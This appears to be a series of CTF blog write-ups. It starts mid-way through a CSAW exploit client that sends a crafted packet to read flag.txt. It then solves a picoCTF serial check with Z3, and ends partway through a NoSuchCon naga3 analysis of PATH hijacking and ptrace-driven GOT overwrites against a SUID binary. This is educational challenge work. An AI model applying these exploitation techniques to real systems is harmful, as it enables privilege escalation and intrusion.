sock</span> =</span> remote</span>("</span>128.238.66.227</span>",</span> 24001</span>)</span></span>
key</span> =</span> "</span>\x00\x00\x00\x00\x00\x13\x0d\x03</span>"</span></span>
packet</span>  =</span> ""</span></span>
packet</span> +=</span> chr</span>(</span>135</span>)</span> # cipher_data.length = 135</span></span>
packet</span> +=</span> key</span> # key</span></span>
packet</span> +=</span> "</span>A</span>"</span></span>
#packet += xor(xor("password.txt\x00", "\x00\x00\x00\x00\x13\x0d\x03\x00"), 0x8f)</span></span>
packet</span> +=</span> xor</span>(</span>xor</span>("</span>flag.txt</span>\x00</span>", "</span>\x00\x00\x00\x00\x13\x0d\x03\x00</span>"),</span> 0x</span>8f</span>)</span></span>
packet</span> +=</span> "</span>A</span>"</span>*</span> (</span>140</span> -</span> len</span>(</span>packet</span>))</span></span>
sock</span>.</span>send</span>(</span>packet</span>)</span></span>
sock</span>.</span>interactive</span>()</span></span></code></pre>
And finally the exploit in action :</p>
[ekse@xubuntu] : ~/csaw/exploit500 $ python client.py</span></span>
[+] Opening connection to 127.0.0.1 on port 24001: OK</span></span>
[*] Switching to interactive mode</span></span>
pass123</span></span>
[*] Got EOF while reading in interactive</span></span></code></pre>
So the password was 'pass123'. It was kind of depressing to have worked so much for such a weaksauce password, the CSAW CTF organizers
really are a bunch of trolls. Now we could implement the packet authentication and call the system command to list the files on the server,
but I guessed the flag was probably in 'flag.txt' and used the exploit to read that file instead :-)</p>
The flag was flag{code_exec>=crypto_break}</code>.</p>
Thanks to drraid for this great challenge and to the CSAW organizers for such a great CTF!</p>


Solving picoCTF 2013 Harder Serial with Z3
2014-08-10T00:00:00+00:00
In the past weeks I have been watching LiveCTF, a project to livestream speedruns of wargames and CTF challenges. This is a great learning tool as you get to see the thought process of the caster as well as the tools and tricks they use to solve the challenges.</p>
I also recently learned about picoCTF, a capture the flag game made for high school teams organized by PPP.  I have been playing the 2013 edition in the last few days and it is actually really well made, for someone new to CTF I would definitely recommend starting with this one. It also has interesting challenges even for seasoned CTF players.</p>
I decided to try to speedrun picoCTF and focus on optimizing my work process when going through the challenges. In this post I will show how to solve the 'Harder Serial' challenge using Z3.</p>
</p>
The challenge</h2>
Harder Serial comes in the form of a Python script, we need to find a working serial for the RoboCorpIntergalactic software. The full script code is below.</p>
#!/usr/bin/env python</span></span>
# Looks like the serial number verification for space ships is similar to that</span></span>
# of your robot. Try to find a serial that verifies for this space ship</span></span>
import</span> sys</span></span>
print</span> ("</span>Please enter a valid serial number from your RoboCorpIntergalactic purchase</span>")</span></span>
if</span> len</span>(</span>sys</span>.</span>argv</span>)</span> <</span> 2</span>:</span></span>
  print</span> ("</span>Usage: </span>%s</span> [serial number]</span>"</span>%</span>sys</span>.</span>argv</span>[</span>0</span>])</span></span>
  exit</span>()</span></span>
</span>
print</span> ("</span>#></span>"</span> +</span> sys</span>.</span>argv</span>[</span>1</span>]</span> +</span> "</span><#</span>")</span></span>
def</span> check_serial</span>(</span>serial</span>):</span></span>
  if</span> (</span>not</span> set</span>(</span>serial</span>).</span>issubset</span>(</span>set</span>(</span>map</span>(</span>str</span>,</span>range</span>(</span>10</span>))))):</span></span>
    print</span> ("</span>only numbers allowed</span>")</span></span>
    return False</span></span>
  if</span> len</span>(</span>serial</span>)</span> !=</span> 20</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>15</span>])</span> +</span> int</span>(</span>serial</span>[</span>4</span>])</span> !=</span> 10</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>1</span>])</span> *</span> int</span>(</span>serial</span>[</span>18</span>])</span> !=</span> 2</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>15</span>])</span> /</span> int</span>(</span>serial</span>[</span>9</span>])</span> !=</span> 1</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>17</span>])</span> -</span> int</span>(</span>serial</span>[</span>0</span>])</span> !=</span> 4</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>5</span>])</span> -</span> int</span>(</span>serial</span>[</span>17</span>])</span> != -</span>1</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>15</span>])</span> -</span> int</span>(</span>serial</span>[</span>1</span>])</span> !=</span> 5</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>1</span>])</span> *</span> int</span>(</span>serial</span>[</span>10</span>])</span> !=</span> 18</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>8</span>])</span> +</span> int</span>(</span>serial</span>[</span>13</span>])</span> !=</span> 14</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>18</span>])</span> *</span> int</span>(</span>serial</span>[</span>8</span>])</span> !=</span> 5</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>4</span>])</span> *</span> int</span>(</span>serial</span>[</span>11</span>])</span> !=</span> 0</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>8</span>])</span> +</span> int</span>(</span>serial</span>[</span>9</span>])</span> !=</span> 12</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>12</span>])</span> -</span> int</span>(</span>serial</span>[</span>19</span>])</span> !=</span> 1</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>9</span>])</span> %</span> int</span>(</span>serial</span>[</span>17</span>])</span> !=</span> 7</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>14</span>])</span> *</span> int</span>(</span>serial</span>[</span>16</span>])</span> !=</span> 40</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>7</span>])</span> -</span> int</span>(</span>serial</span>[</span>4</span>])</span> !=</span> 1</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>6</span>])</span> +</span> int</span>(</span>serial</span>[</span>0</span>])</span> !=</span> 6</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>2</span>])</span> -</span> int</span>(</span>serial</span>[</span>16</span>])</span> !=</span> 0</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>4</span>])</span> -</span> int</span>(</span>serial</span>[</span>6</span>])</span> !=</span> 1</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>0</span>])</span> %</span> int</span>(</span>serial</span>[</span>5</span>])</span> !=</span> 4</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>5</span>])</span> *</span> int</span>(</span>serial</span>[</span>11</span>])</span> !=</span> 0</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>10</span>])</span> %</span> int</span>(</span>serial</span>[</span>15</span>])</span> !=</span> 2</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>11</span>])</span> /</span> int</span>(</span>serial</span>[</span>3</span>])</span> !=</span> 0</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>14</span>])</span> -</span> int</span>(</span>serial</span>[</span>13</span>])</span> != -</span>4</span>:</span></span>
    return False</span></span>
  if</span> int</span>(</span>serial</span>[</span>18</span>])</span> +</span> int</span>(</span>serial</span>[</span>19</span>])</span> !=</span> 3</span>:</span></span>
    return False</span></span>
  return True</span></span>
if</span> check_serial</span>(</span>sys</span>.</span>argv</span>[</span>1</span>]):</span></span>
  print</span> ("</span>Thank you! Your product has been verified!</span>")</span></span>
else</span>:</span></span>
  print</span> ("</span>I'm sorry that is incorrect. Please use a valid RoboCorpIntergalactic serial number</span>")</span></span></code></pre>
As we can see the program expects a 20 digits serial and the check_serial()</code> function checks a number of conditions on the values of the digits with simple operations. It probably can be solved by hand but it is a perfect use case for Z3</a>. In short, Z3 is an open-source theorem prover than allows us to define conditions to be met and will output if the conditions are satisfiable as well a set of values that meet all those conditions. The inner workings of Z3 and SMT solvers are a complex topic but Z3 itself is actually easy to use.</p>
I will now go through my solution code, if you prefer to see the full script you can find it here</a>. Z3 uses its own syntax but luckily there are Python bindings which will make it easy to define the conditions. We start by importing z3 and defining integer variables for the serial digits.</p>
from</span> z3</span> import *</span></span>
# define the variables for the serial</span></span>
s0</span> =</span> Int</span>('</span>s[0]</span>')</span></span>
s1</span> =</span> Int</span>('</span>s[1]</span>')</span></span>
s2</span> =</span> Int</span>('</span>s[2]</span>')</span></span>
s3</span> =</span> Int</span>('</span>s[3]</span>')</span></span>
s4</span> =</span> Int</span>('</span>s[4]</span>')</span></span>
s5</span> =</span> Int</span>('</span>s[5]</span>')</span></span>
s6</span> =</span> Int</span>('</span>s[6]</span>')</span></span>
s7</span> =</span> Int</span>('</span>s[7]</span>')</span></span>
s8</span> =</span> Int</span>('</span>s[8]</span>')</span></span>
s9</span> =</span> Int</span>('</span>s[9]</span>')</span></span>
s10</span> =</span> Int</span>('</span>s[10]</span>')</span></span>
s11</span> =</span> Int</span>('</span>s[11]</span>')</span></span>
s12</span> =</span> Int</span>('</span>s[12]</span>')</span></span>
s13</span> =</span> Int</span>('</span>s[13]</span>')</span></span>
s14</span> =</span> Int</span>('</span>s[14]</span>')</span></span>
s15</span> =</span> Int</span>('</span>s[15]</span>')</span></span>
s16</span> =</span> Int</span>('</span>s[16]</span>')</span></span>
s17</span> =</span> Int</span>('</span>s[17]</span>')</span></span>
s18</span> =</span> Int</span>('</span>s[18]</span>')</span></span>
s19</span> =</span> Int</span>('</span>s[19]</span>')</span></span></code></pre>
Then we create an instance of the solver and add our conditions to it. The first set of conditions define the serial digits as values between 0 and 9.</p>
solver</span> =</span> Solver</span>()</span></span>
# all serial values are digits between 0 and 9</span></span>
solver</span>.</span>add</span>(</span>s0</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s1</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s2</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s3</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s4</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s5</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s6</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s7</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s8</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s9</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s10</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s11</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s12</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s13</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s14</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s15</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s16</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s17</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s18</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s19</span> >=</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s0</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s1</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s2</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s3</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s4</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s5</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s6</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s7</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s8</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s9</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s10</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s11</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s12</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s13</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s14</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s15</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s16</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s17</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s18</span> <</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s19</span> <</span> 10</span>)</span></span></code></pre>
Then we add the conditions from the serial_check() function. To save time I used a couple of search and replace in a text editor to avoid typing them manually.</p>
# add serial checking conditions</span></span>
solver</span>.</span>add</span>(</span>s15</span> +</span> s4</span> ==</span> 10</span>)</span></span>
solver</span>.</span>add</span>(</span>s1</span> *</span> s18</span> ==</span> 2</span> )</span></span>
solver</span>.</span>add</span>(</span>s15</span> /</span> s9</span> ==</span> 1</span>)</span></span>
solver</span>.</span>add</span>(</span>s17</span> -</span> s0</span> ==</span> 4</span>)</span></span>
solver</span>.</span>add</span>(</span>s5</span> -</span> s17</span> == -</span>1</span>)</span></span>
solver</span>.</span>add</span>(</span>s15</span> -</span> s1</span> ==</span> 5</span>)</span></span>
solver</span>.</span>add</span>(</span>s1</span> *</span> s10</span> ==</span> 18</span>)</span></span>
solver</span>.</span>add</span>(</span>s8</span> +</span> s13</span> ==</span> 14</span>)</span></span>
solver</span>.</span>add</span>(</span>s18</span> *</span> s8</span> ==</span> 5</span>)</span></span>
solver</span>.</span>add</span>(</span>s4</span> *</span> s11</span> ==</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s8</span> +</span> s9</span> ==</span> 12</span>)</span></span>
solver</span>.</span>add</span>(</span>s12</span> -</span> s19</span> ==</span> 1</span>)</span></span>
solver</span>.</span>add</span>(</span>s9</span> %</span> s17</span> ==</span> 7</span>)</span></span>
solver</span>.</span>add</span>(</span>s14</span> *</span> s16</span> ==</span> 40</span>)</span></span>
solver</span>.</span>add</span>(</span>s7</span> -</span> s4</span> ==</span> 1</span>)</span></span>
solver</span>.</span>add</span>(</span>s6</span> +</span> s0</span> ==</span> 6</span>)</span></span>
solver</span>.</span>add</span>(</span>s2</span> -</span> s16</span> ==</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s4</span> -</span> s6</span> ==</span> 1</span>)</span></span>
solver</span>.</span>add</span>(</span>s0</span> %</span> s5</span> ==</span> 4</span>)</span></span>
solver</span>.</span>add</span>(</span>s5</span> *</span> s11</span> ==</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s10</span> %</span> s15</span> ==</span> 2</span>)</span></span>
solver</span>.</span>add</span>(</span>s11</span> /</span> s3</span> ==</span> 0</span>)</span></span>
solver</span>.</span>add</span>(</span>s14</span> -</span> s13</span> == -</span>4</span>)</span></span>
solver</span>.</span>add</span>(</span>s18</span> +</span> s19</span> ==</span> 3</span>)</span></span></code></pre>
We add a condition to make s[3]</code> different than zero because one of the conditions divides by it, Z3 will accept 0 as a valid value but Python will throw an exception. Finally we call solver.check()</code> which will determine if the solver is able to meet the conditions and solver.model()</code> which will return a set of values that meet those conditions.</p>
# s3 can't be 0 because of division by zero</span></span>
solver</span>.</span>add</span>(</span>s3</span> !=</span> 0</span>)</span></span>
print</span>("</span>solving...</span>")</span></span>
print</span>(</span>solver</span>.</span>check</span>())</span></span>
print</span>(</span>solver</span>.</span>model</span>())</span></span></code></pre>>python break_serial.py</span></span>
solving...</span></span>
sat</span></span>
[s[8] = 5,</span></span>
 s[4] = 3,</span></span>
 s[19] = 2,</span></span>
 s[17] = 8,</span></span>
 s[16] = 8,</span></span>
 s[2] = 8,</span></span>
 s[9] = 7,</span></span>
 s[1] = 2,</span></span>
 s[3] = 1,</span></span>
 s[15] = 7,</span></span>
 s[11] = 0,</span></span>
 s[10] = 9,</span></span>
 s[12] = 3,</span></span>
 s[18] = 1,</span></span>
 s[0] = 4,</span></span>
 s[14] = 5,</span></span>
 s[7] = 4,</span></span>
 s[6] = 2,</span></span>
 s[5] = 7,</span></span>
 s[13] = 9]</span></span></code></pre>
Again with a bit of search/replace and some python we can get our serial.</p>
>>> s = [0] * 20</span></span>
>>> s[8] = 5</span></span>
>>> s[4] = 3</span></span>
>>> s[19] = 2</span></span>
>>> s[17] = 8</span></span>
>>> s[16] = 8</span></span>
>>> s[2] = 8</span></span>
>>> s[9] = 7</span></span>
>>> s[1] = 2</span></span>
>>> s[3] = 1</span></span>
>>> s[15] = 7</span></span>
>>> s[11] = 0</span></span>
>>> s[10] = 9</span></span>
>>> s[12] = 3</span></span>
>>> s[18] = 1</span></span>
>>> s[0] = 4</span></span>
>>> s[14] = 5</span></span>
>>> s[7] = 4</span></span>
>>> s[6] = 2</span></span>
>>> s[5] = 7</span></span>
>>> s[13] = 9</span></span>
>>> "".join([str(x) for x in s])</span></span>
'42813724579039578812'</span></span></code></pre>
We validate that our key is accepted :</p>
> python harder_serial.py 42813724579039578812</span></span>
Please enter a valid serial number from your RoboCorpIntergalactic purchase</span></span>
#>42813724579039578812<#</span></span>
Thank you! Your product has been verified!</span></span></code></pre>
This was a rather simple use of Z3, for examples of advanced use of Z3 for reverse engineering see the following articles:</p>
Breaking Kryptonite's Obfuscation: A Static Analysis Approach Relying on Symbolic Execution</a> by Axel Souchet</p>
Concolic execution - Taint analysis with Valgrind and constraints path solver with Z3</a> by Jonathan Salwan.</p>


naga3 NoSuchCon CTF 2013 writeup
2013-06-19T00:00:00+00:00
This is a writeup for the naga3 challenge that was part of the NoSuchCon 2013 CTF. I picked this challenge for the Montrehack</a> session I was hosting this month as I found it quite interesting and a bit different than the challenges I did in the past. Montrehack is an informal group that gathers every month to practice CTF challenges and the solution is presented at the end; if you live in the Montreal area feel free to drop by, it's a lot of fun and a great way to learn. For the purpose of this article I will use the challenge environment I recreated for the event, the paths are different than on the CTF server but I used the original binary.</p>
The challenges are accessible at OverTheWire</a> so if you want to try it by yourself first you should stop reading now.</p>
The original description of the challenge was "To monitor local system performance, a tool was developed to take some timing measurements by executing some commands"</em>. The first step was to find the binary. Searching for files owned by naga3 shows a program called rtv. rtv is SUID on user naga3. (To simplify things, I put the program and source code directly in /home/level2/ on my VM for Montrehack).</p>
naga2@naga:/$ find . -user naga3</span></span>
./usr/lib/rtv.c</span></span>
./usr/lib/rtv</span></span></code></pre>
We now have access to the binary and the source code of the program. As rtv.c is actually quite short, I reproduce it here.</p>
#</span>include</span> <</span>stdio.h</span>></span></span>
#</span>include</span> <</span>stdlib.h</span>></span></span>
#</span>define</span> _GNU_SOURCE</span></span>
#</span>include</span> <</span>unistd.h</span>></span></span>
#</span>include</span> <</span>sys/prctl.h</span>></span></span>
struct</span> measurement_t</span> {</span></span>
   char</span> command</span>[</span>128</span>]</span>;</span></span>
   unsigned long long</span> runtime</span>;</span></span>
}</span> Measurements</span>[] =</span> {</span></span>
   {"</span>sleep 1</span>",</span> 0</span>L</span>},</span></span>
   {"</span>env</span>",</span> 0</span>L</span>},</span></span>
   {"</span>md5sum /etc/passwd</span>",</span> 0</span>L</span>},</span></span>
   {"</span>ls -l /etc/passwd</span>",</span> 0</span>L</span>},</span></span>
   {"</span>dd if=/dev/zero of=/dev/null bs=1M count=100</span>",</span> 0</span>L</span>},</span></span>
}</span>;</span></span>
#</span>define</span> MEASUREMENTCOUNT</span> (</span>sizeof</span>(</span>Measurements</span>)</span> / sizeof</span>(</span>struct</span> measurement_t</span>))</span></span>
int</span> measurementCount </span>=</span> MEASUREMENTCOUNT</span>;</span></span>
void</span> report_measurements</span>(</span>int</span> s</span>) {</span></span>
   int</span> i</span>;</span></span>
   for</span>(</span>i </span>=</span> 0</span>;</span> i </span><</span> measurementCount</span>;</span> i</span>++</span>) {</span></span>
       //printf("Reporting command %d\n", i);</span></span>
       write</span>(</span>s</span>,</span> &</span>i</span>,</span> sizeof</span>(</span>i</span>))</span>;</span></span>
       write</span>(</span>s</span>,</span> &</span>(</span>Measurements</span>[</span>i</span>].</span>runtime</span>),</span> sizeof</span>(</span>unsigned long long</span>))</span>;</span></span>
   }</span></span>
}</span></span>
void</span> make_measurements</span>(</span>int</span> s</span>) {</span></span>
   struct</span> timeval pre</span>,</span> post</span>;</span></span>
   int</span> i</span>;</span></span>
   char</span> cmd</span>[</span>256</span>]</span>;</span></span>
   for</span>(</span>i </span>=</span> 0</span>;</span> i </span><</span> measurementCount</span>;</span> i</span>++</span>) {</span></span>
       gettimeofday</span>(</span>&</span>pre</span>,</span> NULL</span>)</span>;</span></span>
       sprintf</span>(</span>cmd</span>, "</span>PARENTPID=%d %s > /dev/null 2> /dev/null</span>",</span> getpid</span>(),</span> Measurements</span>[</span>i</span>].</span>command</span>)</span>;</span></span>
       system</span>(</span>cmd</span>)</span>;</span></span>
       gettimeofday</span>(</span>&</span>post</span>,</span> NULL</span>)</span>;</span></span>
       Measurements</span>[</span>i</span>].</span>runtime</span> =</span> (</span>post</span>.</span>tv_sec</span> -</span> pre</span>.</span>tv_sec</span>)</span> *</span> 1000000</span> +</span> post</span>.</span>tv_usec</span> -</span> pre</span>.</span>tv_usec</span>;</span></span>
   }</span></span>
}</span></span>
void</span> print_measurements</span>() {</span></span>
   int</span> i</span>;</span></span>
   for</span>(</span>i </span>=</span> 0</span>;</span> i </span><</span> measurementCount</span>;</span> i</span>++</span>) {</span></span>
       printf</span>("</span>Command[%d] </span>\"</span>%s</span>\"</span> executed in %llu</span>""</span>us</span>\n</span>",</span> i</span>,</span> Measurements</span>[</span>i</span>].</span>command</span>,</span> Measurements</span>[</span>i</span>].</span>runtime</span>)</span>;</span></span>
   }</span></span>
}</span></span>
void</span> read_measurements</span>(</span>int</span> s</span>) {</span></span>
   int</span> i </span>=</span> 0</span>;</span></span>
   unsigned long long</span> t</span>;</span></span>
   int</span> rc</span>;</span></span>
   while</span>(</span>1</span>) {</span></span>
       if</span>((</span>rc </span>=</span> read</span>(</span>s</span>,</span> &</span>i</span>,</span> sizeof</span>(</span>i</span>)))</span> < sizeof</span>(</span>i</span>)) {</span></span>
           printf</span>("</span>Truncated read: %d instead of %d</span>\n</span>",</span> rc</span>,</span> sizeof</span>(</span>i</span>))</span>;</span></span>
           exit</span>(</span>1</span>)</span>;</span></span>
       }</span></span>
       if</span>((</span>rc </span>=</span> read</span>(</span>s</span>,</span> &</span>t</span>,</span> sizeof</span>(</span>t</span>)))</span> < sizeof</span>(</span>t</span>)) {</span></span>
           printf</span>("</span>Truncated read: %d instead of %d</span>\n</span>",</span> rc</span>,</span> sizeof</span>(</span>t</span>))</span>;</span></span>
           exit</span>(</span>1</span>)</span>;</span></span>
       }</span></span>
       //printf("Measurement %d read: %llu\n", i, t);</span></span>
       Measurements</span>[</span>i</span>].</span>runtime</span> =</span> t</span>;</span></span>
       if</span>(</span>i </span>==</span> measurementCount </span>-</span> 1</span>)</span> return;</span></span>
   }</span></span>
}</span></span>
int</span> main</span>(</span>int</span> argc</span>,</span> char *</span>argv</span>[]</span>) {</span></span>
       int</span> p</span>[</span>2</span>]</span>;</span></span>
       if</span>(</span>pipe</span>(</span>p</span>)</span> <</span> 0</span>) {</span></span>
           fprintf</span>(</span>stderr</span>, "</span>Pipe Failed.</span>\n</span>")</span>;</span></span>
           exit</span>(</span>1</span>)</span>;</span></span>
       }</span></span>
       switch</span> (</span>fork</span>()) {</span></span>
           case -</span>1</span>:</span></span>
               perror</span>("</span>main: fork</span>")</span>;</span></span>
               exit</span>(</span>1</span>)</span>;</span></span>
           case</span> 0</span>:</span></span>
               setresuid</span>(</span>getuid</span>(),</span> getuid</span>(),</span> getuid</span>())</span>;</span></span>
               setresgid</span>(</span>getgid</span>(),</span> getgid</span>(),</span> getgid</span>())</span>;</span></span>
               prctl</span>(</span>PR_SET_DUMPABLE</span>,</span> 1</span>,</span> 0</span>,</span> 0</span>,</span> 0</span>)</span>;</span></span>
               prctl</span>(</span>PR_SET_PTRACER</span>,</span> PR_SET_PTRACER_ANY</span>,</span> 0</span>,</span> 0</span>,</span> 0</span>)</span>;</span></span>
               make_measurements</span>(</span>p</span>[</span>1</span>])</span>;</span></span>
               report_measurements</span>(</span>p</span>[</span>1</span>])</span>;</span></span>
               break;</span></span>
           default</span>:</span></span>
               printf</span>("</span>Command runtime verification tool v1.0</span>\n</span>")</span>;</span></span>
               printf</span>("</span>Please wait while command runtimes are being verified...</span>\n</span>")</span>;</span></span>
               read_measurements</span>(</span>p</span>[</span>0</span>])</span>;</span></span>
               print_measurements</span>()</span>;</span></span>
               break;</span></span>
       }</span></span>
   return</span> 0</span>;</span></span>
}</span></span></code></pre>Review of rtv.c</h2>
Let's examine the main() function first. We see that a pipe is created [1], then a child process is created with fork [2]. In the child process, the SETUID privileges are dropped [3] and then the process is made debuggable with ptrace via the call to prtcl(PR_SET_PTRACER)</code> [4]. Finally, we see that the parent and child process execute functions that have to do with "measurements" and each uses one side of the pipe [5]. We can assume that information will be passed between both processes.</p>
</p>
The call to prctl()</code> with PR_SET_PTRACER has a big impact here. Ptrace allows us to read and modify memory of the process, set breakpoints and modify register values (including EIP). The end result is that the code of the child is now irrelevant</strong>, we can replace it with whatever we want. This is something we will put to use later on.</p>
Systematic failure</h2>
We then inspect the functions that are called in the child process. The first one is make_measurements()</code>. This function iterates over the entries defined in the Measurement table [1] (see Figure 3). This table contains measurement_t</code> structures which contains commands. Those commands are executed via system()</code> [2], the output is redirected to /dev/null. Finally the function the execution time of the commands in the runtime member of the structure in the Measurements table.</p>
</p>
</p>
As we can see, the commands that are called are defined with relative paths. This is classic vulnerability on UNIX systems. To exploit this, we simply need to modify the PATH environment variable to add a folder that we control at the beginning and create an executable file (a shell script works just fine) for one of the commands in it (for example env in this case). The result will be that our executable will be called instead of the intended one.</p>
However, in this case this is not sufficient to read the flag. As the calls to system() are made by the child process, the SETUID privileges have already been dropped by then. It does however allow us to easily retrieve the pid of the child process as it is put in the PARENTPID</code> variable when the commands are called. This will be of great importance in the next part. (Note : on the original CTF server, /proc/ was disabled, probably to avoid snooping between competitors. The PARENTPID</code> variable was thus needed).</p>
Let's talk</h2>
The last part of the program is where the child process returns the measurement data to the parent process which in turn prints it to the standard output  via print_measurements()</code>.</p>
We see that report_measurements()</code> iterates over the Measurement table with a for loop and writes 1) i</code>, the index in the table and 2) runtime</code>, the execution time of the executed command.</p>
</p>
The same thing is done in read_measurements()</code> in the parent process, however it is done slightly differently. The function enters in a while loop and reads the data provided in the pipe, if the size of the reads don't correspond to the expected size the program stops execution there [1]. The runtime information is then written in the Measurements table of the parent process, the loop ends when i is equal to the last index of the table (measurementCount - 1)</code>.</p>
Normally this would be fine if we expect the child to behave correctly. However, due to our ability to use ptrace on the child process and modify the data written in the pipe, we can cause  a write outside of the Measurements table [2]. We will also control 8 bytes at every write, since we control i we can make as many writes as we want.</p>
</p>
Arbitrary write? not quite</h2>
We now know that we can cause memory overwrites in the address space of the parent memory. But where exactly can we write? Figure 6 shows the assembly code from IDA corresponding to the Measurements[i].runtime = t;</code> statement in read_measurements()</code>. 0x0804100 is the address of the first runtime entry in the Measurements table. Then i is multiplied by 0x88 which is the size of the measurement_t structure (128 bytes for cmd + 8 bytes for runtime).</p>
</p>
The multiplication is somewhat obscured as it optimized with shift-left instructions, each shift multiplies by 2.</p>
shl eax,   3; eax = i * 8</span></span>
mov ebx, eax; ebx = i * 8</span></span>
shl ebx,   4; ebx = i * 8 * 16 = i * 128</span></span>
add eax, ebx; eax = i * 8 + i * 128 = i * 136 (136 equals 0x88)</span></span></code></pre>
The write address can be determined with the following formula :</p>
       writeAddr = 0x804A100 + i * 0x88</span></span></code></pre>
If you are lucky enough to have a license for it, Hexrays Decompiler actually provides the formula directly.</p>
</p>
We now need to find one or may memory address(es) to overwrite to hijack the control flow of the program. The GOT (Global Offset Table) is usually a good candidate. It can be dumped with the command objdump -R rtv</code>.</p>
level2@montrehack:~$ objdump -R rtv</span></span>
rtv:     file format elf32-i386</span></span>
DYNAMIC RELOCATION RECORDS</span></span>
OFFSET   TYPE              VALUE</span></span>
08049ffc R_386_GLOB_DAT    __gmon_start__</span></span>
0804a32c R_386_COPY        stderr</span></span>
0804a00c R_386_JUMP_SLOT   setresuid</span></span>
0804a010 R_386_JUMP_SLOT   read</span></span>
0804a014 R_386_JUMP_SLOT   printf</span></span>
0804a018 R_386_JUMP_SLOT   gettimeofday</span></span>
0804a01c R_386_JUMP_SLOT   __stack_chk_fail</span></span>
0804a020 R_386_JUMP_SLOT   getuid</span></span>
0804a024 R_386_JUMP_SLOT   perror</span></span>
0804a028 R_386_JUMP_SLOT   fwrite</span></span>
0804a02c R_386_JUMP_SLOT   getpid</span></span>
0804a030 R_386_JUMP_SLOT   puts</span></span>
0804a034 R_386_JUMP_SLOT   system</span></span>
0804a038 R_386_JUMP_SLOT   __gmon_start__</span></span>
0804a03c R_386_JUMP_SLOT   exit</span></span>
0804a040 R_386_JUMP_SLOT   __libc_start_main</span></span>
0804a044 R_386_JUMP_SLOT   write</span></span>
0804a048 R_386_JUMP_SLOT   getgid</span></span>
0804a04c R_386_JUMP_SLOT   prctl</span></span>
0804a050 R_386_JUMP_SLOT   pipe</span></span>
0804a054 R_386_JUMP_SLOT   fork</span></span>
0804a058 R_386_JUMP_SLOT   sprintf</span></span>
0804a05c R_386_JUMP_SLOT   setresgid</span></span></code></pre>
Inspecting the code of the program reveals the functions read, printf and exit might be called after memory corruption, being able to overwrite the entry of one those should allow us to redirect execution.</p>
